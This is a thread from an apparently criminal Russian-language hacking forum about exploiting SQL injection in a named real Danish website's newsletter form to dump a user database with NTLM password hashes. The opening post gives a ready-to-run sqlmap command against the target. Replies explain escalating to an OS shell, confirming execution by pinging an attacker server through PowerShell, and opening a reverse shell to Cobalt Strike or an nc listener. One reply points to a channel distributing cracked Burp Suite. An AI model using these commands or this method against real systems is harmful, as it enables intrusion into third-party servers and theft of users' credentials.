• XSS.stack #1 – первый литературный журнал от юзеров форума

sql inj

Отслеживать
badquery

badquery

HDD-drive
Пользователь
Регистрация
19.01.2019
Сообщения
27
Реакции
79
У вас должно быть более 1 сообщений для просмотра скрытого контента.
Достаточно интересная скуля, над которой игрался долгое время, но так и не нашел адекватного решения при сливе, ещё и хеш NTLM.
В базе 3.8кк, хоть и на самом форуме 2кк+, непонятно кому верить.
Код: 
-u "https://www.mymovies.dk/home/newsletter-subscription.aspx" -p "Newsletter_4$email" --risk="3" --level="3" --method="POST" --data="__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2fwEPDwUENTM4MWQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgIFF05ld3NsZXR0ZXJfNCRuZXdzbGV0dGVyBSBOZXdzbGV0dGVyXzQkcmVsZWFzZW5vdGlmaWNhdGlvbqaG7cFDNMGoIqERBL4ZaoU2e8XlqXU2I5chgQjSqa3a&Newsletter_4%24email=test&Newsletter_4%24newsletter=&Newsletter_4%24releasenotification=&Newsletter_4%24Submit=Update&__VIEWSTATEGENERATOR=CA0B0334" --random-agent --dbms="Microsoft SQL Server" -D webservice.mymovies.dk
Нюанс, при сливе двух колонок, используйте pivot и если туго идет force-pivoting на колонку с паролями, нужно поиграть с комбинациями.
waf asp net, усложняет жизнь, но лить дает и лить будет долго) Прошу прощения, если не там запостил, но вроде правильный раздел.
 
Права проверял ? может и лить не нужно, если прав достаточно делаешь --technique=S далее --os-shell от туда делашь пинг своего сервера через powershell если отпингует считай ты сайт забрал. От туда уже backconnect через тот же powershell на CobaltStrike либо просто на nc тут как душе угодно.
 
Тут кстати не давно про BurpSuite писали на форуме хочу сказать что вот именно BurpSuite такие скули проверяет на права админа mssql у него есть перкраснишая штука Collobrator который сам себя пингует через nslookup и если есть ответ то считайте что забераете сервер т.е в 90% случаев все шоколадно. Это я так к слову.
 
Akasuki_Takahash сказал(а):
Тут кстати не давно про BurpSuite писали на форуме хочу сказать что вот именно BurpSuite такие скули проверяет на права админа mssql у него есть перкраснишая штука Collobrator который сам себя пингует через nslookup и если есть ответ то считайте что забераете сервер т.е в 90% случаев все шоколадно. Это я так к слову.
Можно ссылку на крякнутый BurpSuite, если он есть? Это по типу Acunetix прога?
 
вот их телега

burpsuite (not official)

new BurpSuite PRO files, plugins, articles. latest cracked BS: https://t.me/burpsuite Official chat: https://t.me/burp_chat
t.me
там и ссылки и плюшки выкидывают
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Пожалуйста, обратите внимание, что пользователь заблокирован
Y
Akasuki_Takahash сказал(а):
Тут кстати не давно про BurpSuite писали на форуме хочу сказать что вот именно BurpSuite такие скули проверяет на права админа mssql у него есть перкраснишая штука Collobrator который сам себя пингует через nslookup и если есть ответ то считайте что забераете сервер т.е в 90% случаев все шоколадно. Это я так к слову.
На счёт колобатора, да согласен с тобой, идея классная, однако танец с бубном, что бы всё было по фен-щую, надо запускать его на впс, или с белым IP ,Так как чисто архетиктурно неторые моменты не прокатят иначе. Плюс говорят его завести сложно. Вообщем то, я особо не копался в софтах, но думаю, можно обойтись wireshark+ngrok.Но это уже заморочки. Вообщем колобатор как идея класс, как реализация говно.
 
BabaDook сказал(а):
Y
На счёт колобатора, да согласен с тобой, идея классная, однако танец с бубном, что бы всё было по фен-щую, надо запускать его на впс, или с белым IP ,Так как чисто архетиктурно неторые моменты не прокатят иначе. Плюс говорят его завести сложно. Вообщем то, я особо не копался в софтах, но думаю, можно обойтись wireshark+ngrok.Но это уже заморочки. Вообщем колобатор как идея класс, как реализация говно.

На самом деле все проще дружище, Burp предоставляет сам сервис на своих серверах и не чего настраивать не нужно и все работает из коробки, я не знаю по поводу крякнутого софта, но у меня идет сразу проверка mssql на Collaborator и кстати хочу заметить там не только mssql проверяется а так же и OS Command Injection и так далее, Collaborator это дополнительный инструмент в коробке от Burp который помогает диагностировать возможность исполнения кода на атакуемой машине, из офф. документации работает это так:

  • Burp sends a payload to the application containing a URL that uses a random subdomain of the Collaborator domain, for example: param=http://f294gchg2la...r9gf.burpcollaborator.net/
  • Due to its programmed behavior (intended or otherwise), the application fetches the contents of the URL. To do this, it will first perform a DNS lookup on the random subdomain, and then perform an HTTP request.
  • The DNS lookup and the HTTP request are received by the Collaborator server. Both interactions contain the random data that Burp placed into the Collaborator subdomain.
  • Burp polls the Collaborator server and asks: "Did you receive any interactions for my payload?", and the Collaborator returns the interaction details.
  • Burp reports the external service interaction to the Burp user, including the full interaction messages that were captured by the Collaborator server.

Далее по поводу 'wireshark+ngrok' запускаешь nc -lp 80 у себя на сервере, и делаешь запрос через powershell если в nc появляются логи значит ты выполнил команду на атакуемом сервере. А там уже у кого какая фантазия, я уже говорил можно запустить payload от CobaltStrike если не проходит то можно просто так же через nc выполнить любой доступный в интеренете payload, лично у меня уже готовый список для разного рода атак.
 
stinqy1 сказал(а):
neponiatno

Чтобы было понятно нужно работать в этой сфере, мы даем только вводные а остальную информацию нужно черпать из интернета либо с форума.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Nimay сказал(а):
Сори за флуд. Оказалось что до сих пор не отписывал нигде.
Молодец, хуль флудишь?
 
admin


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх